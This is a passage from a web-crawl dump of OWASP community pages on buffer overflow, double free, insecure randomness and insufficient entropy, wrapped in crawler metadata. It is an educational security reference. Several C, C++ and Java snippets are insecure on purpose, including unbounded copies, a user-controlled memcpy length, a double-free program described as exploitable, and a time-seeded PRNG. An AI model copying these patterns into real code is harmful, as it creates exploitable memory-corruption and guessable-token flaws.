Randomness](/vulnerabilities/Insecure_Randomness)\n- [Insecure Temporary File](/vulnerabilities/Insecure_Temporary_File)\n- [Insecure Third Party Domain Access](/vulnerabilities/Insecure_Third_Party_Domain_Access)\n- [Insecure Transport](/vulnerabilities/Insecure_Transport)\n- [Insufficient Entropy](/vulnerabilities/Insufficient_Entropy)\n- [Insufficient Numeric Precision](/vulnerabilities/Insufficient_Numeric_Precision) by Abdullah Al-Khalaf\n- [Insufficient Session ID Length](/vulnerabilities/Insufficient_Session-ID_Length) by Jake Karnes\n- [Least Privilege Violation](/vulnerabilities/Least_Privilege_Violation)\n- [Memory leak](/vulnerabilities/Memory_leak)\n- [Missing Error Handling](/vulnerabilities/Missing_Error_Handling)\n- [Missing XML Validation](/vulnerabilities/Missing_XML_Validation)\n- [Multiple admin levels](/vulnerabilities/Multiple_admin_levels)\n- [Null Dereference](/vulnerabilities/Null_Dereference)\n- [OWASP .NET Vulnerability Research](/vulnerabilities/OWASP_NET_Vulnerability_Research)\n- [Overly Permissive Regular Expression](/vulnerabilities/Overly_Permissive_Regular_Expression)\n- [PHP File Inclusion](/vulnerabilities/PHP_File_Inclusion)\n- [PHP Object Injection](/vulnerabilities/PHP_Object_Injection) by Egidio Romano\n- [PRNG Seed Error](/vulnerabilities/PRNG_Seed_Error)\n- [Password Management Hardcoded Password](/vulnerabilities/Password_Management_Hardcoded_Password)\n- [Password Plaintext Storage](/vulnerabilities/Password_Plaintext_Storage)\n- [Poor Logging Practice](/vulnerabilities/Poor_Logging_Practice) by Weilin Zhong\n- [Portability Flaw](/vulnerabilities/Portability_Flaw)\n- [Privacy Violation](/vulnerabilities/Privacy_Violation)\n- [Process Control](/vulnerabilities/Process_Control)\n- [Race Conditions](/pages/vulnerabilities/race_conditions) by Cindy Ramirez\n- [Return Inside Finally Block](/vulnerabilities/Return_Inside_Finally_Block)\n- [Session Variable Overloading](/vulnerabilities/Session_Variable_Overloading)\n- [String Termination Error](/vulnerabilities/String_Termination_Error)\n- [Unchecked Error Condition](/vulnerabilities/Unchecked_Error_Condition)\n- [Unchecked Return Value Missing Check against Null](/vulnerabilities/Unchecked_Return_Value_Missing_Check_against_Null)\n- [Undefined Behavior](/vulnerabilities/Undefined_Behavior)\n- [Unreleased Resource](/vulnerabilities/Unreleased_Resource)\n- [Unrestricted File Upload](/vulnerabilities/Unrestricted_File_Upload)\n- [Unsafe JNI](/vulnerabilities/Unsafe_JNI)\n- [Unsafe Mobile Code](/vulnerabilities/Unsafe_Mobile_Code)\n- [Unsafe function call from a signal handler](/vulnerabilities/Unsafe_function_call_from_a_signal_handler)\n- [Unsafe use of Reflection](/vulnerabilities/Unsafe_use_of_Reflection)\n- [Use of Obsolete Methods](/vulnerabilities/Use_of_Obsolete_Methods)\n- [Use of hard-coded password](/vulnerabilities/Use_of_hard-coded_password)\n- [Using a broken or risky cryptographic algorithm](/vulnerabilities/Using_a_broken_or_risky_cryptographic_algorithm)\n- [Using freed memory](/vulnerabilities/Using_freed_memory)\n- [Vulnerability Scanning Tools](/Vulnerability_Scanning_Tools)\n- [Vulnerability template](/vulnerabilities/Vulnerability_template)\n- [XML External Entity (XXE) Processing](/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n- [The Follina Vulnerability - A Critical Threat to Microsoft Office](/vulnerabilities/follina) by Tholkappiar\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 6310, "slov": 450, "odkazu": 92, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:25:59", "sha256": "9b6f95c0c00521d44e7d69a81969ab99d7076eedb580d5911fdada948e92b051", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Buffer_Overflow", "titulek": "Buffer Overflow | OWASP Foundation", "h1": "Buffer Overflow", "popis": "Buffer Overflow on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Buffer_Overflow", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Buffer Overflow on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Buffer Overflow | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Buffer_Overflow", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Buffer Overflow"}, {"uroven": 3, "text": "Description of Buffer Overflow"}, {"uroven": 3, "text": "How to Avoid Buffer Overflow Vulnerabilities"}, {"uroven": 3, "text": "How to Review Code for Buffer Overflow Vulnerabilities"}, {"uroven": 3, "text": "How to Test for Buffer Overflow Vulnerabilities"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "NVD Categorization"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Buffer Overflow and Web Applications"}, {"uroven": 3, "text": "Consequences"}, {"uroven": 3, "text": "Exposure period"}, {"uroven": 3, "text": "Environments Affected"}, {"uroven": 3, "text": "Platform"}, {"uroven": 3, "text": "Required resources"}, {"uroven": 3, "text": "Severity"}, {"uroven": 3, "text": "Likelihood of exploit"}, {"uroven": 3, "text": "How to Determine If You Are Vulnerable"}, {"uroven": 3, "text": "How to Protect Yourself"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1.a"}, {"uroven": 3, "text": "Example 1.b"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 3, "text": "Example 3"}, {"uroven": 3, "text": "Example 4"}, {"uroven": 3, "text": "Example 5"}, {"uroven": 3, "text": "Example 6 – Real-world analogy"}], "markdown": "# Buffer Overflow\n\n### Description of Buffer Overflow\n\nSee the OWASP article on [Buffer Overflow](../attacks/Buffer_overflow_attack) Attacks.\n\n### How to Avoid Buffer Overflow Vulnerabilities\n\nSee the [OWASP Development Guide](https://github.com/OWASP/DevGuide) article on how to avoid buffer overflow vulnerabilities.\n\n### How to Review Code for Buffer Overflow Vulnerabilities\n\nSee the [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/) article.\n\n### How to Test for Buffer Overflow Vulnerabilities\n\nSee the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) article on how to\n[Test for Buffer Overflow](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Buffer_Overflow.html)\nVulnerabilities.\n\n## Overview\n\nA buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to an array of integers. Writing outside the bounds of a block of allocated memory can corrupt data, crash the program, or cause the execution of malicious code.\n\n## NVD Categorization\n\n> [CWE-788: Access of Memory Location After End of Buffer](https://cwe.mitre.org/data/definitions/788.html): This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.\n\n## Description\n\nBuffer overflow is probably the best known form of software security vulnerability. Most software developers know what a buffer overflow vulnerability is, but buffer overflow attacks against both legacy and newly-developed applications are still quite common. Part of the problem is due to the wide variety of ways buffer overflows can occur, and part is due to the error-prone techniques often used to prevent them.\n\nBuffer overflows are not easy to discover and even when one is discovered, it is generally extremely difficult to exploit. Nevertheless, attackers have managed to identify buffer overflows in a staggering array of products and components.\n\nIn a classic buffer overflow exploit, the attacker sends data to a program, which it stores in an undersized stack buffer. The result is that information on the call stack is overwritten, including the function’s return pointer. The data sets the value of the return pointer so that when the function returns, it transfers control to malicious code contained in the attacker’s data.\n\nAlthough this type of stack buffer overflow is still common on some platforms and in some development communities, there are a variety of other types of buffer overflow, including Heap buffer overflow and Off-by-one Error among others. Another very similar class of flaws is known as [Format string attack](../attacks/Format_string_attack). There are a number of excellent books that provide detailed information on how buffer overflow attacks work, including Building Secure Software [1], Writing Secure Code [2], and The Shellcoder’s Handbook [3].\n\nAt the code level, buffer overflow vulnerabilities usually involve the violation of a programmer’s assumptions. Many memory manipulation functions in C and C++ do not perform bounds checking and can easily overwrite the allocated bounds of the buffers they operate upon. Even bounded functions, such as strncpy(), can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.\n\nBuffer overflow vulnerabilities typically occur in code that:\n\n- Relies on external data to control its behavior\n- Depends upon properties of the data that are enforced outside of the immediate scope of the code\n- Is so complex that a programmer cannot accurately predict its behavior\n\n### Buffer Overflow and Web Applications\n\nAttackers use buffer overflows to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code – effectively taking over the machine.\n\nBuffer overflow flaws can be present in both the web server or application server products that serve the static and dynamic aspects of the site, or the web application itself. Buffer overflows found in widely used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images, they open themselves to potential buffer overflow attacks.\n\nBuffer overflows can also be found in custom web application code, and may even be more likely given the lack of scrutiny that web applications typically go through. Buffer overflow flaws in custom web applications are less likely to be detected because there will normally be far fewer hackers trying to find and exploit such flaws in a specific application. If discovered in a custom application, the ability to exploit the flaw (other than to crash the application) is significantly reduced by the fact that the source code and detailed error messages for the application are normally not available to the hacker.\n\n### Consequences\n\n- Category:Availability: Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.\n- Access control (instruction processing): Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program’s implicit security policy.\n- Other: When the consequence is arbitrary code execution, this can often be used to subvert any other security service.\n\n### Exposure period\n\n- Requirements specification: The choice could be made to use a language that is not susceptible to these issues.\n- Design: Mitigating technologies such as safe-string libraries and container abstractions could be introduced.\n- Implementation: Many logic errors can lead to this condition. It can be exacerbated by lack of or mis¬use of mitigating technologies.\n\n### Environments Affected\n\nAlmost all known web servers, application servers, and web application environments are susceptible to buffer overflows, the notable exception being environments written in interpreted languages like Java or Python, which are immune to these attacks (except for overflows in the Interpretor itself).\n\n### Platform\n\n- Languages: C, C++, Fortran, Assembly\n- Operating platforms: All, although partial preventative measures may be deployed, depending on environment.\n\n### Required resources\n\nAny\n\n### Severity\n\nVery High\n\n### Likelihood of exploit\n\nHigh to Very High\n\n### How to Determine If You Are Vulnerable\n\nFor server products and libraries, keep up with the latest bug reports for the products you are using. For custom application software, all code that accepts input from users via the HTTP request must be reviewed to ensure that it can properly handle arbitrarily large input.\n\n### How to Protect Yourself\n\nKeep up with the latest bug reports for your web and application server products and other products in your Internet infrastructure. Apply the latest patches to these products. Periodically scan your web site with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications. For your custom application code, you need to review all code that accepts input from users via the HTTP request and ensure that it provides appropriate size checking on all such inputs. This should be done even for environments that are not susceptible to such attacks as overly large inputs that are uncaught may still cause denial of service or other operational problems.\n\n## Risk Factors\n\nTBD\n\n## Examples\n\n### Example 1.a\n\nThe following sample code demonstrates a simple buffer overflow that is\noften caused by the first scenario in which the code relies on external\ndata to control its behavior. The code uses the gets() function to read\nan arbitrary amount of data into a stack buffer. Because there is no way\nto limit the amount of data read by this function, the safety of the\ncode depends on the user to always enter fewer than BUFSIZE characters.\n\n```\n...\nchar buf[BUFSIZE];\ngets(buf);\n...\n```\n\n### Example 1.b\n\nThis example shows how easy it is to mimic the unsafe behavior of the\ngets() function in C++ by using the `>>` operator to read input into a\n`char[]` string.\n\n```\n...\nchar buf[BUFSIZE];\ncin >> (buf);\n...\n```\n\n### Example 2\n\nThe code in this example also relies on user input to control its behavior, but it adds a level of indirection with the use of the bounded memory copy function memcpy(). This function accepts a destination buffer, a source buffer, and the number of bytes to copy. The input buffer is filled by a bounded call to read(), but the user specifies the number of bytes that memcpy() copies.\n\n```\n...\nchar buf[64], in[MAX_SIZE];\nprintf(\"Enter buffer contents:\\n\");\nread(0, in, MAX_SIZE-1);\nprintf(\"Bytes to copy:\\n\");\nscanf(\"%d\", &bytes);\nmemcpy(buf, in, bytes);\n...\n```\n\n**Note:** This type of buffer overflow vulnerability (where a program reads data and then trusts a value from the data in subsequent memory operations on the remaining data) has turned up with some frequency in image, audio, and other file processing libraries.\n\n### Example 3\n\nThis is an example of the second scenario in which the code depends on properties of the data that are not verified locally. In this example a function named `lccopy()` takes a string as its argument and returns a heap-allocated copy of the string with all uppercase letters converted to lowercase. The function performs no bounds checking on its input because it expects str to always be smaller than `BUFSIZE`. If an attacker bypasses checks in the code that calls `lccopy()`, or if a change in that code makes the assumption about the size of str untrue, then `lccopy()` will overflow buf with the unbounded call to `strcpy()`.\n\n```\nchar *lccopy(const char *str) {\n char buf[BUFSIZE];\n char *p;\n\n strcpy(buf, str);\n for (p = buf; *p; p++) {\n if (isupper(*p)) {\n *p = tolower(*p);\n }\n }\n return strdup(buf);\n}\n```\n\n### Example 4\n\nThe following code demonstrates the third scenario in which the code is so complex its behavior cannot be easily predicted. This code is from the popular libPNG image decoder, which is used by a wide array of applications, including Mozilla and some versions of Internet Explorer.\n\nThe code appears to safely perform bounds checking because it checks the size of the variable length, which it later uses to control the amount of data copied by `png_crc_read()`. However, immediately before it tests length, the code performs a check on `png_ptr->mode`, and if this check fails a warning is issued and processing continues. Because length is tested in an else if block, length would not be tested if the first check fails, and is used blindly in the call to `png_crc_read()`, potentially allowing a stack buffer overflow.\n\nAlthough the code in this example is not the most complex we have seen, it demonstrates why complexity should be minimized in code that performs memory operations.\n\n```\nif (!(png_ptr->mode & PNG_HAVE_PLTE)) {\n /* Should be an error, but we can cope with it */\n png_warning(png_ptr, \"Missing PLTE before tRNS\");\n}\nelse if (length > (png_uint_32)png_ptr->num_palette) {\n png_warning(png_ptr, \"Incorrect tRNS chunk length\");\n png_crc_finish(png_ptr, length);\n return;\n}\n...\npng_crc_read(png_ptr, readbuf, (png_size_t)length);\n```\n\n### Example 5\n\nThis example also demonstrates the third scenario in which the program’s complexity exposes it to buffer overflows. In this case, the exposure is due to the ambiguous interface of one of the functions rather the structure of the code (as was the case in the previous example).\n\nThe `getUserInfo()` function takes a username specified as a multibyte string and a pointer to a structure for user information, and populates the structure with information about the user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string. This function then incorrectly passes the size of `unicodeUser` in bytes rather than characters. The call to `MultiByteToWideChar()` may therefore write up to `(UNLEN+1)*sizeof(WCHAR)` wide characters, or `(UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR)` bytes, to the unicodeUser array, which has only `(UNLEN+1)*sizeof(WCHAR)` bytes allocated. If the username string contains more than `UNLEN` characters, the call to `MultiByteToWideChar()` will overflow the buffer `unicodeUser`.\n\n```\nvoid getUserInfo(char *username, struct _USER_INFO_2 info){\n WCHAR unicodeUser[UNLEN+1];\n MultiByteToWideChar(CP_ACP, 0, username, -1,\n unicodeUser, sizeof(unicodeUser));\n NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);\n}\n```\n\n- [Format string attack](../attacks/Format_string_attack)\n\n- Pre-design: Use a language or compiler that performs automatic bounds checking.\n- Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.\n- Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio / GS flag. Unless this provides automatic bounds checking, it is not a complete solution.\n- Operational: Use OS-level preventative functionality. Not a complete solution.\n\n### Example 6 – Real-world analogy\n\nA buffer overflow is like trying to pour water into a glass that’s already full. Imagine you have a small cup that can hold only 8 ounces of water, but you try to pour 12 ounces into it. The extra 4 ounces will spill over onto the table, making a mess and potentially damaging whatever is nearby.\n\nIn computer programs, buffers are like these cups - they have a fixed amount of space to store data. When a program receives more data than the buffer can hold, the excess data “spills over” into adjacent memory areas. This overflow can corrupt other data, crash the program, or allow attackers to execute malicious code by overwriting critical parts of the program’s memory.\n\nFor example, in a C program that stores a username in a fixed-size 20-character buffer without checking the length of the input, an attacker could supply a 100-character username. The extra 80 characters would overflow into adjacent memory, potentially corrupting data or allowing the attacker to alter the program’s control flow.\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 14517, "slov": 2230, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:00:46", "sha256": "e775bb566f0e7a847b2caccfb175653417c71575a11a903bb21f754512b510b7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/DevGuide", "https://cwe.mitre.org/data/definitions/788.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory", "titulek": "Doubly freeing memory | OWASP Foundation", "h1": "Doubly freeing memory", "popis": "Doubly freeing memory on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Doubly_freeing_memory", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Doubly freeing memory on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Doubly freeing memory | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Doubly_freeing_memory", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Doubly freeing memory"}, {"uroven": 2, "text": "NVD Categorization"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Consequences"}, {"uroven": 3, "text": "Exposure period"}, {"uroven": 3, "text": "Platform"}, {"uroven": 3, "text": "Required resources"}, {"uroven": 3, "text": "Severity"}, {"uroven": 3, "text": "Likelihood of exploit"}, {"uroven": 2, "text": "Examples"}], "markdown": "# Doubly freeing memory\n\n## NVD Categorization\n\n> [CWE-415: Double Free](https://cwe.mitre.org/data/definitions/415.html): The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.\n\n## Description\n\nDouble free errors occur when `free()` is called more than once with the same memory address as an argument.\n\nCalling `free()` twice on the same value can lead to memory leak. When a program calls `free()` twice with the same argument, the program’s memory management data structures become corrupted and could allow a malicious user to write values in arbitrary memory spaces. This corruption can cause the program to crash or, in some circumstances, alter the execution flow. By overwriting particular registers or memory spaces, an attacker can trick the program into executing code of their own choosing, often resulting in an interactive shell with elevated permissions.\n\nWhen a buffer is `free()`‘d, a linked list of free buffers is read to rearrange and combine the chunks of free memory (to be able to allocate larger buffers in the future). These chunks are laid out in a double linked list which points to previous and next chunks. Unlinking an unused buffer (which is what happens when `free()` is called) could allow an attacker to write arbitrary values in memory; essentially overwriting valuable registers, calling shellcode from its own buffer.\n\n### Consequences\n\n- Access control: Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.\n\n### Exposure period\n\n- Requirements specification: A language which handles memory allocation and garbage collection automatically might be chosen.\n- Implementation: Double frees are caused most often by lower-level logical errors.\n\n### Platform\n\n- Language: C, C++, Assembly\n- Operating system: All\n\n### Required resources\n\nAny\n\n### Severity\n\nHigh\n\n### Likelihood of exploit\n\nLow to Medium\n\nDoubly freeing memory can result in roughly the same write-what-where condition that the use of previously freed memory will.\n\n## Examples\n\nWhile contrived, this code should be exploitable on Linux distributions that don’t ship with heap-chunk check summing turned on.\n\n```\n#include \n#include \n\n#define BUFSIZE1 512\n#define BUFSIZE2 ((BUFSIZE1/2) - 8)\n\nint main(int argc, char **argv) {\n char *buf1R1;\n char *buf2R1;\n char *buf1R2;\n\n buf1R1 = (char *) malloc(BUFSIZE2);\n buf2R1 = (char *) malloc(BUFSIZE2);\n\n free(buf1R1);\n free(buf2R1);\n\n buf1R2 = (char *) malloc(BUFSIZE1);\n strncpy(buf1R2, argv[1], BUFSIZE1-1);\n\n free(buf2R1);\n free(buf1R2);\n}\n```\n\nDouble free vulnerabilities have three common (and sometimes overlapping) causes:\n\n- Error conditions and other exceptional circumstances\n- Usage of the memory space after it’s freed.\n- Confusion over which part of the program is responsible for freeing the memory\n\nAlthough some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.\n\n- Implementation: Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.\n\n- [Buffer overflow attack](../attacks/Buffer_overflow_attack)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 3623, "slov": 517, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:00:15", "sha256": "486f222e79787baf15bff7c25d8a66ffb1b8c456ae4e62603799eee3cb762606", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cwe.mitre.org/data/definitions/415.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Insecure_Randomness", "titulek": "Insecure Randomness | OWASP Foundation", "h1": "Insecure Randomness", "popis": "Insecure Randomness on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Insecure_Randomness", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Insecure Randomness on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Insecure Randomness | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Insecure_Randomness", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Insecure Randomness"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Examples"}], "markdown": "# Insecure Randomness\n\n## Description\n\nStandard pseudo-random number generators cannot withstand cryptographic attacks.\n\nInsecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in security-sensitive context.\n\nComputers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated.\n\nThere are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value. In general, if a PRNG algorithm is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.\n\n## Examples\n\nThe following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase (DO NOT DO THIS).\n\n```\nString GenerateReceiptURL(String baseUrl) {\n Random ranGen = new Random();\n ranGen.setSeed((new Date()).getTime());\n return(baseUrl + ranGen.nextInt(400000000) + \".html\");\n}\n```\n\nThis code uses the `Random.nextInt()` function to generate “unique” identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.\n\nThe following code uses Java’s `SecureRandom` class to generate a cryptographically strong pseudo-random number (DO THIS):\n\n```\npublic static int generateRandom(int maximumValue) {\n SecureRandom ranGen = new SecureRandom();\n return ranGen.nextInt(maximumValue);\n}\n```\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 2381, "slov": 330, "odkazu": 26, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:56", "sha256": "0eb81771272299d932240426b6392f943d96c95a1041129c4c39a83d949c4fd7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Insufficient_Entropy", "titulek": "Insufficient Entropy | OWASP Foundation", "h1": "Insufficient Entropy", "popis": "Insufficient Entropy on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Insufficient_Entropy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Insufficient Entropy on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Insufficient Entropy | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Insufficient_Entropy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Insufficient Entropy"}, {"uroven": 2, "text": "Description"}], "markdown": "# Insufficient Entropy\n\n## Description\n\nWhen an undesirably low amount of entropy is available. Psuedo Random Number Generators are susceptible to suffering from insufficient entropy when they are initialized, because entropy data may not be available to them yet.\n\n- In many cases, a PRNG uses a combination of the system clock and entropy to create seed data. If insufficient entropy is available, an attacker can reduce the size magnitude of the seed value considerably. Furthermore, by guessing values of the system clock, they can create a manageable set of possible PRNG outputs.\n\n- Many PRNG’s ( `/dev/random` and `/dev/urandom` for example) store their last value before shutdown. By using this value at intialization, they can sometimes avoid insufficient or predictable starting entropy.\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 893, "slov": 123, "odkazu": 29, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:57", "sha256": "74d77bafeaefe4d5468bbf3a4412a5504275c7cc8c7f16a9c936b33bd8e3b9a9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Insufficient_Session-ID_Length", "titulek": "Insufficient Session ID Length | OWASP Foundation", "h1": "Insufficient Session ID Length", "popis": "Insufficient Session ID Length on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Insufficient_Session-ID_Length", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Insufficient Session ID Length on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Insufficient Session ID Length | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Insufficient_Session-ID_Length", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Insufficient Session ID Length"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Key Takeaways"}, {"uroven": 3, "text": "Session ID Length and Entropy Relationship"}, {"uroven": 4, "text": "Focus on Hexadecimal Encoding"}, {"uroven": 4, "text": "Examples Where Length Alone Isn’t Sufficient"}, {"uroven": 3, "text": "Estimating Attack Time"}, {"uroven": 4, "text": "Formula 1: Dynamic Session IDs (e.g., users logging in/out)"}, {"uroven": 4, "text": "Formula 2: Static Session IDs (e.g., API keys or tokens)"}, {"uroven": 3, "text": "Example Calculations"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2: 64 bits of entropy, 100,000 valid sessions, 10,000 guesses per second"}, {"uroven": 2, "text": "Risk Factors"}], "markdown": "# Insufficient Session ID Length\n\n**Author:** Jake Karnes \n **Contributor(s):** Greg Heartsfield\n\n## 